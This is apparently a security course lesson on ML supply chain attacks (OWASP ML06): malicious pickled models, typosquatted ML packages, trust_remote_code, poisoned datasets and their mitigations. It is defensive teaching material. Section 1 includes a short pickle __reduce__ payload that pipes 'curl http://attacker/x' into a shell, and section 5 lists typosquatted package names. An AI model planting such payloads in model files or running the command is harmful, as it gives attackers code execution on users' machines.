Back

ML06: AI Supply Chain Attacks - Overview

What Are AI Supply Chain Attacks?

An AI Supply Chain Attack is the compromise of any third-party component that flows into a machine-learning system: a pretrained model pulled from a hub, a public dataset, an ML library or framework, or the MLOps tooling that ties them together. Instead of attacking your trained model directly, the adversary poisons an ingredient you trust and let into your pipeline—so the compromise arrives pre-installed.

Modern ML is assembled almost entirely from parts you did not build. A typical training or inference stack downloads weights from Hugging Face, datasets from public mirrors, dozens of pip packages (PyTorch, TensorFlow, transformers, scikit-learn, NumPy), and a chain of MLOps services for experiment tracking, serving, and orchestration. Every one of those is code and data authored by someone else, fetched over the network, and often executed the moment it loads. ML06 is what happens when one of those links is malicious, backdoored, or tampered with.

Framing: ML06 is the classic-ML sibling of LLM03: Supply Chain (OWASP LLM Top 10) and K02: Supply Chain Vulnerabilities (OWASP ML/Kubernetes-adjacent lists). This lesson keeps the machine-learning framing—models, datasets, frameworks, and tooling—rather than the LLM-application framing.

Core Concept

Trusted ML Supply Chain:
  Pretrained model -> from a verified publisher, integrity-checked, scanned
  Serialization    -> safetensors (data-only), never arbitrary-code formats
  Dataset          -> provenance recorded, checksums pinned, source vetted
  ML packages      -> pinned versions + hashes, from a trusted index/mirror
  Frameworks       -> patched, digests pinned, SBOM/AI-BOM maintained
  remote code      -> trust_remote_code disabled for untrusted repos
  Loading          -> sandboxed, least-privilege, monitored

Compromised ML Supply Chain:
  Pretrained model -> backdoored weights or a pickle that runs code on load
  Serialization    -> pickle / torch.load / joblib / Keras Lambda = RCE
  Dataset          -> poisoned samples / hidden triggers baked into training
  ML packages      -> typosquatted or backdoored pip package pulls a payload
  Frameworks       -> compromised dependency or tampered weights in transit
  remote code      -> trust_remote_code=True executes attacker Python
  Loading          -> model deserialized with full process privileges

Why It's Critical for ML Systems

ML pipelines concentrate several conditions that make supply-chain compromise especially damaging:

Why Does This Matter?

Business Impact

Technical Impact

Technical Context

The ML Supply Chain, Component by Component

ComponentWhere It Comes FromHow It Gets Compromised
Pretrained models / weightsHugging Face, model zoos, vendor downloadsBackdoored weights, malicious pickle, tampered files
DatasetsPublic corpora, scraped web data, shared bucketsPoisoned samples, hidden triggers, label flips
ML libraries / frameworksPyPI, conda, framework releasesTyposquatting, dependency confusion, backdoored release
Model-loading codeRepo modeling_*.py via trust_remote_codeArbitrary Python executed on from_pretrained
MLOps toolingTrackers, registries, serving, pipelinesVulnerable/unauthenticated services, compromised images
Transport & storageCDNs, mirrors, object storesTampering in transit, mutable "latest" tags

1. Unsafe Model Deserialization (Code Execution on Load)

The most direct ML06 vector: several formats used to save models are not just data—they are programs. Python's pickle can reconstruct arbitrary objects, which means it can run arbitrary code. torch.load, joblib.load, and unpickled scikit-learn models all inherit this.

# A malicious .bin / .pt / .pkl can carry this:
class Payload:
    def __reduce__(self):
        import os
        return (os.system, ("curl http://attacker/x | sh",))
# torch.load(untrusted_file)  ->  the command runs BEFORE you use the model

Risk: downloading a "helpful" pretrained model and calling torch.load on it executes the attacker's code with your privileges.

2. Backdoored / Malicious Pretrained Models from Hubs

from transformers import AutoModel
# Looks legitimate; the repo name squats on a popular model:
model = AutoModel.from_pretrained("populer-org/bert-base")   # typo'd namespace

Risk: either the weights carry a hidden trigger, or the repo ships a malicious loader that runs on import.

3. trust_remote_code Executing Repo Python

# The repo ships modeling_custom.py; this flag runs it on your machine:
model = AutoModel.from_pretrained("some/repo", trust_remote_code=True)

Risk: trust_remote_code=True against an untrusted repo is remote code execution by design—the repo's Python runs during load.

4. Poisoned Public Datasets

# Pulling a community dataset with no integrity or provenance check:
ds = load_dataset("community/scraped-images")   # who curated this? unknown

Risk: an attacker who edits a public dataset injects triggers or biased samples that end up baked into your trained model.

5. Typosquatted / Backdoored ML Packages

pip install torchvison        # not torchvision
pip install tensorfow         # not tensorflow
pip install sklern            # not scikit-learn / sklearn

Risk: the malicious package's install script or import runs a payload before your training code even starts.

Real-World Impact

The examples below are described as incident classes that are well documented in the security research literature. They are patterns, not specific CVE numbers.

Case Class 1: Malicious Models on Public Hubs

Pattern:

Impact: any user who downloaded and loaded such a model ran attacker code with their own privileges. This class of finding drove hubs to add automated pickle scanning and to promote the safetensors format.

Root Cause: treating a downloaded model as inert data when the serialization format is actually executable.

Case Class 2: Pickle / Deserialization RCE Research

Pattern:

Impact: proof that "load this model" is equivalent to "run this program" for these formats, motivating the shift to data-only serialization.

Root Cause: serialization formats that permit arbitrary object reconstruction, combined with loading untrusted files.

Case Class 3: Typosquatted ML Packages on Public Registries

Pattern:

Impact: developers who mistyped a dependency, or whose resolver preferred a public package over an internal one, executed attacker code in their build and dev environments.

Root Cause: unpinned, unverified dependencies resolved from an open index without name/provenance controls.

Prevalence and Statistics

AI supply-chain risk is consistently rated high and rising across ML security guidance, because it inherits the entire software-supply-chain problem and adds ML-specific formats (executable model files) and artifacts (weights, datasets) on top.

Rather than cite precise counts (which vary by source and year), the defensible picture is:

Note: exact figures differ between reports. Treat any single number as illustrative; the durable takeaway is that the ML supply chain is broad, largely unvetted, and frequently executable—so a compromised ingredient is a realistic and repeatedly observed threat.

Common Misunderstandings

Myth 1: "Loading a model is just reading data"

Reality: For pickle, torch.load, joblib, and Keras Lambda layers, loading a model can execute arbitrary code. Prefer safetensors, which is data-only, for exactly this reason.

Myth 2: "It came from a popular hub, so it's safe"

Reality: Hubs are open publishing platforms. A plausible name and a good README are not provenance. Verify the publisher, check integrity, and scan the artifact before loading.

Myth 3: "The model passed our accuracy tests, so it's clean"

Reality: A backdoor is designed to be invisible on normal inputs and to fire only on a hidden trigger. Standard evaluation will not reveal it.

Myth 4: "We pinned our direct dependencies, so the tree is safe"

Reality: Transitive dependencies and mutable "latest" model tags reintroduce risk. Pin with hashes/digests all the way down and maintain an SBOM/AI-BOM.

Myth 5: "trust_remote_code is a normal convenience flag"

Reality: trust_remote_code=True runs the repo's Python on your machine. Enabling it for an untrusted repo is remote code execution by design.

Myth 6: "This is the same as classic app supply chain, nothing new"

Reality: ML adds two novel wrinkles—executable model artifacts and poisonable training data/weights—that ordinary SCA and app hardening do not cover on their own.

How ML06 Differs from Related Issues

AspectML06 Supply ChainML02 Data PoisoningML10 Model Poisoning
Root causeCompromised third-party component (model/dataset/package/tool)Attacker influences your training dataAttacker tampers with your model/weights or training process
Entry pointAnything you download and trustData collection / labeling pipelineModel artifact or training update
Typical fixVet, pin, verify, scan, sandboxValidate/clean data, provenanceIntegrity of training + weights
DetectionSCA, model scanning, provenance/signaturesData auditing, anomaly detectionWeight/behavior auditing

These overlap: a poisoned public dataset is both ML02 and ML06, and a backdoored downloaded model straddles ML06 and ML10. ML06's defining feature is that the compromise entered through a third-party component you imported.

Key Takeaways

  1. Everything you download is code or data you now trust—models, datasets, packages, and tooling are all attack surface.
  2. Loading a model can run code—prefer safetensors; never pickle/torch.load an untrusted file.
  3. Backdoors hide from accuracy metrics—provenance and integrity checks catch what evaluation cannot.
  4. Pin and verify the whole tree—typosquatting and transitive deps are where real incidents live.
  5. trust_remote_code is RCE by design—disable it for anything you do not fully control.

How to Identify if You're Exposed

Ask these questions about your ML pipeline:

If you answered "no" or "not sure" to several of these, your ML supply chain is likely exploitable today.

Next Steps